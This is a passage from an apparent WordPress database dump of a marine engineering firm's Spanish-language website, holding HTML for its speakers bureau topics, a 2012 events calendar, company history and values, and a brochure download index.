campos y se han distinguido -y han distinguido a la firma, con sus numerosos logros. Su experiencia profesional y su deseo de compartir sus conocimientos y su especialización, además de su probada habilidad para hablar en público, les han ganado un lugar en nuestra Oficina de oradores.&nbsp; &nbsp; Nuestra lista incluye a especialistas/expertos en las siguientes áreas:</div>\r\n          <div class=\"speakers-left\">\r\n             <div class=\"spekers-divider-line-right\">Puertos y terminales marítimas:</div>\r\n             <p class=\"black\">\r\n             Finanzas y desarrollo portuarios\r\n             Planeamiento maestro portuario y de terminales \r\n             Seguridad portuaria \r\n             Mitigación para impacto de grandes proyectos de desarrollo portuario \r\n             Planeamiento y automatización de terminales de contenedores \r\n             Desarrollo portuario internacional \r\n             Diseño de pavimentos portuarios \r\n             Terminales ecológicas \r\n            </p>\r\n             &nbsp;\r\n            <div class=\"spekers-divider-line-right\">Transporte</div>\r\n                <p class=\"black\">\r\nPlaneamiento, obtención de fondos y diseño de transporte multimodal \r\nPlaneamiento, obtención de fondos y diseño de carga multimodal \r\nDiseño antisísmico \r\nDiseño y análisis de puentes \r\nTerminales de graneles Ingeniería de eventos extremos \r\nAnálisis y protección de tsunamis \r\nDefensas de puentes y estructuras de puentes Planeamiento de transporte y diseño de calzadas Tendencias en el movimiento y embarque de mercancías \r\nTerminales de transbordadores \r\n            </p>\r\n            &nbsp;\r\n             <div class=\"spekers-divider-line-right\">Energía</div>\r\n                <p class=\"black\">\r\nTerminales marítimas petroleras \r\nTerminales de carga líquida a granel \r\nTerminales de GNL \r\nAmarres de boya simple y múltiple \r\nDiseño de tuberías submarinas \r\nAnálisis de buques de paso \r\nAnálisis y diseño de amarres y atraques \r\nCimentaciones de turbinas eólicas costa afuera \r\nPuertos de acceso a parques eólicos costa afuera \r\nAlmacenamiento de energía de aire comprimido del océano \r\nInfraestructura de frentes costeros de la Marina \r\nInfraestructura de frentes costeros de la Guardia Costera de Estados Unidos (USCG, por sus siglas en inglés) \r\nTendencias en brazos de carga de GNL y graneles líquidos \r\n            </p>\r\n            \r\n          </div>\r\n          \r\n          \r\n          <div class=\"speakers-right\">\r\n          <div class=\"spekers-divider-line-left\">Recursos costeros, medioambientales e hídricos</div>\r\n            <p class=\"black\">\r\nAplicaciones beneficiosas y desecho de material dragado \r\nIngeniería de recursos hídricos \r\nIngeniería y modelación costeras \r\nGestión de aguas pluviales costeras \r\nGestión y planeamiento de la zona costera \r\nAumento del nivel del mar y Cambio climático \r\nVulnerabilidad de la infraestructura costera \r\nSedimentos contaminados \r\nGestión de la calidad del aire \r\nEstructuras de control de inundaciones \r\nRestauración del hábitat\r\n            </p>\r\n             &nbsp;\r\n <div class=\"spekers-divider-line-left\">Frentes de mar urbanos y puertos deportivos</div>\r\n            <p class=\"black\">\r\nDiseño de puertos deportivos y frentes de mar urbanos \r\nDiseño de estructuras marítimas Desarrollo de centros turísticos \r\nRecuperación de tierras\r\n            </p>\r\n            &nbsp;\r\n            <div class=\"spekers-divider-line-left\">Inspección y rehabilitación</div>\r\n            <p class=\"black\">\r\nInspección y rehabilitación de estructuras marítimas \r\nIngeniería de vida de servicio Investigaciones del frente costero \r\nSistemas de gestión del mantenimiento y Sistemas de gestión de activos \r\nRehabilitación \r\nMuestreo y pruebas\r\n            </p> \r\n            &nbsp;\r\n            <div class=\"spekers-divider-line-left\">Servicios consultivos comerciales globales\r\n</div>\r\n            <p class=\"black\">\r\nSelección de ubicación de inmuebles industriales Análisis y pronóstico de información comercial Tendencias en la gestión de la cadena de suministro \r\nAsociaciones público-privadas \r\nLa economía y las tendencias globales \r\nEvaluación y gestión de riesgos\r\n            </p>                               \r\n          </div>\r\n          <div class=\"clear\"></div>\r\n          <span class=\"speakers-bottam\">Escuche a nuestros oradores en las conferencias de la industria o <a title=\"Haga clic aquÃ\" href=\"mailto:info@moffattnichol.com\">Haga clic aquí </a>y comuníquese con nosotros si desea más información.</span> </div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','Oficina de oradores','','publish','open','open','','speakers-bureau','','','2013-01-28 05:25:54','2013-01-28 05:25:54','',0,'http://moffattnichol.com/spanish/?page_id=80',19,'page','',0),(240,1,'2011-10-21 07:47:31','2011-10-21 07:47:31','<div class=\"content-speakers\">\r\n<h1>eventos presentados</h1>\r\n<div class=\"calender-left\">\r\n\r\n<strong>Conferencia costera ASBPA</strong>\r\n\r\n<span class=\"aapa-date\">28 de febrero - 1 de marzo, 2012</span>\r\n\r\n<em>Washington D.C.</em>\r\n<p class=\"events-textbox-one\">Esta conferencia atrae a Washington a todos los que participan en la preservación de las playas para compartir nuestra gran preocupación sobre la gestión futura de las playas y riberas de Estados Unidos. Los políticos, científicos, ingenieros, planificadores, funcionarios del gobierno y usuarios de las playas interesados obtendrán una mirada muy de cerca de los aspectos críticos que afectan la preservación y gestión de las playas y podrán comunicarse directamente con sus principales responsables.</p>\r\n&nbsp;\r\n<p class=\"moreheadlines-newone\"><a title=\"Más información\" href=\"http://www.asbpa.org/conferences/sum_12.htm\">Más información</a>  |   <a title=\"Agregar al calendario\" href=\"http://moffattnichol.com/spanish/wp-admin/post.php?post=240&amp;action=edit#\">Agregar al calendario</a></p>\r\n<p class=\"moreheadlines-newone\"></p>\r\n\r\n</div>\r\n<div class=\"calender-right\">\r\n\r\n<strong>Conferencia y cena de primavera por el centenario de la AAPA</strong>\r\n\r\n<span class=\"aapa-date\">18-21 de marzo, 2012</span>\r\n\r\n<em>Washington D.C.</em>\r\n<p class=\"events-textbox-one\">Viaje a la capital de EE.UU. a esta reunión de profesionales portuarios de todo el hemisferio.  Una de las dos reuniones anuales de miembros de la AAPA, la conferencia de primavera se celebra cada año en Washington, D.C. y cuenta con sesiones generales así como con reuniones del Comité y del Consejo.   </p>\r\n<p class=\"events-textbox-one\">&nbsp; </p>\r\n<p class=\"moreheadlines-newone\"><a title=\"Más información\" href=\"http://www.aapa-ports.org/Programs/seminarschedule.cfm?itemnumber=18109\">Más información</a>  |   <a title=\"Agregar al calendario\" href=\"http://moffattnichol.com/spanish/wp-admin/post.php?post=240&amp;action=edit#\">Agregar al calendario</a></p>\r\n\r\n\r\n</div>\r\n<div class=\"clear\"></div>\r\n<h3>calendario de eventos</h3>\r\n</div>','Calendario','','publish','open','open','','calendar','','','2012-06-15 09:27:57','2012-06-15 09:27:57','',0,'http://moffattnichol.com/spanish/?page_id=240',16,'page','',0),(295,1,'2011-10-24 09:25:44','2011-10-24 09:25:44','<div class=\"content_faq\">\r\n<div class=\"new-about-blackbox\"><a href=\"#\"><img class=\"fl\" title=\"John Moffatt\" src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/moffat.jpg\" alt=\"\" width=\"169\" height=\"205\" border=\"0\" /></a><a href=\"#\"><img class=\"fl\" title=\"Frank Nichol\" src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/nichol.jpg\" alt=\"\" width=\"167\" height=\"205\" border=\"0\" /></a> <a href=\"#\"><img class=\"fl\" title=\"Los directores fundadores\" src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/principles.jpg\" alt=\"\" width=\"240\" height=\"205\" border=\"0\" /></a></div>\r\n<span class=\"photo-title \">John Moffatt</span><span class=\"photo-title \">Frank Nichol</span><span class=\"photo-title-principal \">Directores fundadores</span>\r\n&nbsp; &nbsp;\r\n<div class=\"about-us-left\">\r\n<h3>acerca de moffatt &amp; nichol</h3> En 1945, Frank Nichol y John Moffatt formaron una sociedad sobre la tabla de cocina de Nichol en Long Beach, California. Como gerentes de proyecto para importantes instalaciones navales del sur de California durante la Segunda Guerra Mundial, habían establecido una reputación como ingenieros creativos que entregaban diseños factibles de construirse. Durante sus distinguidas carreras, buscaron mejorar la calidad de la ingeniería de frentes costeros, consolidando una firma que iría mucho más allá de la costa.\r\n\r\nHoy, la firma tiene su sede principal en Long Beach, California y funciona a lo largo y ancho de Norteamérica, Europa, América Latina y la Cuenca del Pacífico; la especialidad de Moffatt &amp; Nichol se ha expandido para dar apoyo a las mayores demandas de la industria del movimiento de mercancías a nivel mundial. Hoy en día, con una cartera de más de 7.000 proyectos, la firma proporciona a clientes de todo el mundo un servicio personalizado y un nivel de excelencia que se han convertido en un sello distintivo en la industria en seis áreas principales: puertos; recursos costeros, medioambientales e hídricos; frentes de mar urbanos y puertos deportivos; transporte, puentes y ferrocarriles; inspección y rehabilitación; y energía. Estas áreas de especialización son complementadas por un grupo asesor comercial interno con analistas marítimos y de logística que se especializan en la adquisición y fusión de activos de infraestructura marítima, sistemas de transporte intermodal y pronósticos de ingresos asociados con el movimiento de carga.\r\n\r\nNuestro personal profesional y técnico de calidad mundial ofrece a los clientes una visión integral del proyecto, con prácticas esenciales que reflejan la correlación única entre el lugar y el proyecto, proporcionando una amplia perspectiva desde el planeamiento al diseño y hasta la terminación del proyecto.\r\n\r\n<br />\r\n\r\n<h3>nuestra misión</h3> Ofrecemos soluciones que son innovadoras, prácticas, rentables y eficientes, pero nos distinguimos de la competencia con décadas de imaginación y un nivel de experiencia y calidad que no tiene igual. \r\n\r\n<br />\r\n\r\n<h3>nuestra visión</h3> En Moffatt & Nichol, la creatividad es nuestro negocio, la satisfacción del cliente nuestra prioridad, y el servicio que proporcionamos en seis áreas principales de la práctica es lo que nos motiva para ser los mejores en lo que hacemos. Seguimos comprometidos a proporcionar soluciones innovadoras y a estar a la vanguardia de la industria en tecnología. Nuestra experiencia incomparable se basa en décadas de excelencia técnica y creatividad, y nuestro enfoque inquebrantable se refleja en nuestros éxitos.\r\n\r\n<br />\r\n\r\n<h3>nuestros valores</h3> Nuestros valores son la base de nuestra cultura y reputación, gobiernan nuestras acciones y refuerzan las convicciones fundamentales que sostienen a Moffatt &amp; Nichol.\r\n<ul>\r\n	<li>La integridad es el valor supremo. Ser justos, honestos y francos con todos.</li>\r\n	<li>Mantener una fuerte tradición de conducta ética como la base de nuestro negocio.</li>\r\n	<li>Jamás hay que basarse en éxitos pasados. Mejorar constantemente nuestras habilidades y métodos.</li>\r\n	<li>Rendir más de lo esperado en las tareas del proyecto, al mismo tiempo que se entiende la importante diferencia entre excelencia y perfección.</li>\r\n	<li>Asegurar nuestro futuro mediante la superación constante de las expectativas de nuestros clientes.</li>\r\n	<li>Respetar a nuestros competidores.</li>\r\n	<li>Compartir nuestras ganancias con los empleados.</li>\r\n	<li>Mantener una meritocracia en donde el trabajo duro, los sacrificios y los logros de los empleados son recompensados.</li>\r\n	<li>Ser buenos ciudadanos corporativos dentro de nuestras comunidades.</li>\r\n	<li>Valorar la diversidad de pensamientos y culturas.</li>\r\n</ul>\r\n</div>\r\n<div class=\"about-us-right\">\r\n<h3>certificaciones</h3>\r\n<p style=\"text-align: left;\">Moffatt &amp; Nichol mantiene varias certificaciones profesionales. Nuestros profesionales son colegiados y certificados en varias especialidades, que pueden ser proporcionadas si son necesarias. Si desea más información, póngase en contacto con <a href=\"mailto:info@moffattnichol.com\">info@moffattnichol.com</a></p>\r\n\r\n<div class=\"certi-images\"><img title=\"Certifications\" src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/iso-certification.jpg\" alt=\"Certificaciones\" /></div>\r\n<div class=\"about-text-rightnew\">Nota: Esto es solamente para la oficina de Londres.</div>\r\n</div>\r\n</div>\r\n<div class=\"topbtn\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio</a></div>','Acerca de nosotros','','publish','open','open','','about-us','','','2012-06-19 11:17:58','2012-06-19 11:17:58','',0,'http://moffattnichol.com/spanish/?page_id=295',0,'page','',0),(310,1,'2011-10-24 09:40:20','2011-10-24 09:40:20','<div class=\"content_faq\">\r\n\r\n<div class=\"brochure-wrapper-new\">\r\n<h3>folletos- norteamérica</h3><br />\r\n<div class=\"brochure-one-leftpart\">\r\n<div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-1.jpg\" /></div>\r\n<div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">DESCRIPCIÓN GENERAL</span> <br /><em class=\"aapa-date\">última actualización 11/2011</em><br />\r\nMoffatt & Nichol es un importante consultor de infraestructura a nivel global con base en Estados Unidos, que se especializa en el planeamiento y diseño de las instalaciones que dan forma a nuestras líneas costeras, puertos y ríos, así como un innovador en las complejidades del transporte relacionadas con el movimiento de carga terrestre.<br />\r\n<div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/overview-of-services/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/OVERVIEW1US.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n</div>\r\n<span class=\"moreheadlines-newone fr\"></span></div> \r\n<div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-2.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">PUERTOS</span> <br /><em class=\"aapa-date\">última actualización 11/2011</em><br />\r\nComo una de las mayores firmas especializadas en el planeamiento y la ingeniería marítimos del mundo, Moffatt & Nichol ha jugado un papel importante en la evolución del puerto moderno. La firma tiene una reputación internacional por proporcionar soluciones innovadoras a la industria portuaria y marítima.<br /><br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/ports-and-harbors-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/PORTS1HARBORS1MARINE1TERMINALS.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n               </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>         \r\n</div>\r\n\r\n<div class=\"brochure-wrapper-two\">\r\n            \r\n            <div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-3.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">MANIPULACIÓN DE GRANELES</span> <br /><em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n               Moffatt & Nichol, una de las principales firmas de planeamiento e ingeniería marítimos en el mundo, ofrece a los clientes un conjunto completo de servicios de planeamiento y diseño para terminales e instalaciones de manipulación de materiales a granel.<br /><br /><br /><br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/bulk-handling-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/BULK1HANDLING1FACILITIES.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n              </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>\r\n              \r\n              <div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-4.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">COMERCIAL</span> <br /><em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n               Los servicios consultivos comerciales globales de Moffatt & Nichol aprovechan las singulares capacidades de planeamiento marítimo y de infraestructura de la firma y ofrecen un conjunto de servicios que utilizan nuestras inigualables habilidades <br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/commercial-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/GLOBAL1COMMERCIAL1ADVISORY1SERVICES.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n               </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>\r\n          </div>\r\n          \r\n<div class=\"brochure-wrapper-two\">\r\n            \r\n            <div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-5.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">AUTOMATIZACIÓN PORTUARIA</span> <br /><em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n               Con décadas de experiencia de trabajo para autoridades portuarias y operadores de terminales marítimas de todo el mundo, Moffatt & Nichol es reconocido como un líder e innovador en el planeamiento y diseño de puertos, terminales marítimas,<br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/port-automation-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/PORT1AUTOMATION.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n              </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>\r\n              \r\n              <div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-6.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">SEGURIDAD PORTUARIA</span> <br /><em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n               Con más de 60 años de experiencia, Moffatt & Nichol es un líder mundial en el tratamiento de los aspectos relacionados con las operaciones y la seguridad de la industria marítima. De acuerdo con Seguridad Nacional  \r\n<br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/port-security-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/PORT1SECURITY.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n               </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>\r\n          </div> \r\n                  \r\n<div class=\"brochure-wrapper-two\">\r\n            \r\n            <div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-7.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">RECURSOS COSTEROS</span> <br /><em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n              El prestigio de Moffatt & Nichol de excelencia en ambientes de frentes costeros fue desarrollado a lo largo de años de experiencia con estimulantes proyectos. Hoy, la firma ofrece a sus clientes un personal profesional y experto de ingenieros, planificadores, y <br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/coastal-resources/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/COASTAL1ENVIRONMENTAL1WATER1RESOURCES.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n               </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>\r\n              \r\n              <div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-8.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">DRAGADO</span> <br /><em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n               Moffatt & Nichol, líder en ingeniería costera, está a la vanguardia de los servicios especializados de ingeniería y gestión de la construcción para proyectos de dragado en mar abierto, puertos, humedales costeros, bocas de entrada y vías navegables interiores.<br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/dredging-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/DREDGING.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n               </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>\r\n          </div> \r\n          \r\n<div class=\"brochure-wrapper-two\">\r\n            \r\n            <div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/rail-2.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">SERVICIOS FERROVIARIOS</span> <br /><em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n              Moffatt & Nichol se ha especializado en el planeamiento y diseño de grandes proyectos de obras civiles, que incluyen instalaciones ferroviarias para clientes en Norteamérica, Europa,<br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/rail-services-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/RAIL1SERVICES.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n               </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>\r\n              \r\n            <div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/ports-6.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">TERMINALES FLUVIALES Y MANIPULACIÓN DE GRANELES</span> <br /><em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n               Los sistemas fluviales de Estados Unidos conectan el centro del país con el mercado internacional. Como una de las mayores firmas especializadas en el planeamiento <br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/river-terminals-bulk-handling-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/RIVER%20TERMINALS%20AND%20BULK%20HANDLING%20FOR%20PORTAL.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n               </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>\r\n          </div> \r\n          \r\n<div class=\"brochure-wrapper-two\">\r\n            \r\n            <div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/coastal-4.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">AUMENTO DEL NIVEL DEL MAR  </span> <br /><em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n              Este documento presenta una discusión sobre el estado de la ciencia en relación con el Aumento del Nivel del Mar (SLR, por sus siglas en inglés), la base lógica y la necesidad de tratarlo, así como una metodología para determinar los impactos del SLR en el frente costero<br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/sea-level-rise-white-paper/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/SLR3External3White3Paper37.5.113low.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n               </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>\r\n              \r\n            <div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-1.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">FRENTES DE MAR URBANOS Y PUERTOS DEPORTIVOS</span> <br /><em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n               Los frentes costeros de hoy son catalizadores de la actividad económica. La especialidad de frentes costeros y puertos deportivos de Moffatt & Nichol se estableció en la década de 1960, a medida que la navegación de recreo aumentaba <br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/urban-waterfronts-and-marinas-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/URBAN1WATERFRONT.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n               </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>\r\n          </div>\r\n       \r\n<div class=\"brochure-wrapper-two\">\r\n            \r\n            <div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-3.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">TERMINALES DE TRANSBORDADORES</span> <br /><em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n              Como una de las mayores firmas internacionales de ingeniería y consultoría marítimas en el mundo, el equipo de expertos de Moffatt & Nichol ofrece sus conocimientos en<br /><br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/ferry-terminals-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/FERRY1TERMINALS.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n               </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>\r\n              \r\n            <div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-2.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">DISEÑO DE PLATAFORMAS DE SUBESTACIONES ELÉCTRICAS COSTA AFUERA</span> <br /><em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n              La experiencia profesional en ingeniería marítima/de costa afuera y la comprensión de las necesidades de los parques eólicos costa afuera de Moffatt & Nichol proporciona <br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/offshore-electrical-substation-platform-design-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/Offshore_Electrical_Substation_Platform_Design_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n               </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>\r\n          </div>\r\n\r\n<div class=\"brochure-wrapper-two\">\r\n            \r\n            <div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-3.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">GESTIÓN DE PROGRAMAS DE PARQUES EÓLICOS COSTA AFUERA </span> <br /><em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n              El desarrollo eólico costa afuera crea muchos desafíos para los desarrolladores. La industria y las regulaciones están en cambio constantemente. Las percepciones <br /><br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/offshore-wind-farm-program-management-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/Offshore_Wind_Farm_Program_Management_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n               </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>\r\n              \r\n            <div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-4.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">PUERTOS DE ACCESO A PARQUES EÓLICOS COSTA AFUERA</span> <br /><em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n               Moffatt & Nichol es la firma principal de planeamiento y diseño para el desarrollo de puertos y terminales marítimas en Norteamérica y es <br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/offshore-wind-farm-staging-ports-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/Offshore_Wind_Farm_Staging_Ports_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n               </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>\r\n          </div> \r\n          \r\n<div class=\"brochure-wrapper-two\">\r\n            \r\n            <div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-5.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">DISEÑO DE LA SUBESTRUCTURA DE<br /> GENERADOR DE TURBINA EÓLICA (WTG) COSTA AFUERA</span> <br /><em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n              Moffatt & Nichol aporta las capacidades y experiencia para diseñar subestructuras optimizadas costa afuera para apoyar el desarrollo de parques eólicos costa afuera, incluyendo generadores de turbina eólica <br />\r\n               <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/offshore-wtg-substructure-design-brochure/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/Offshore_WTG_Substructure_Design_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n               </div>\r\n              <span class=\"moreheadlines-newone fr\"></span></div>\r\n              \r\n            <div class=\"brochure-one-leftpart\">\r\n              <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-6.jpg\" /></div>\r\n              \r\n              <div class=\"bordhure-text-newpart\"><span 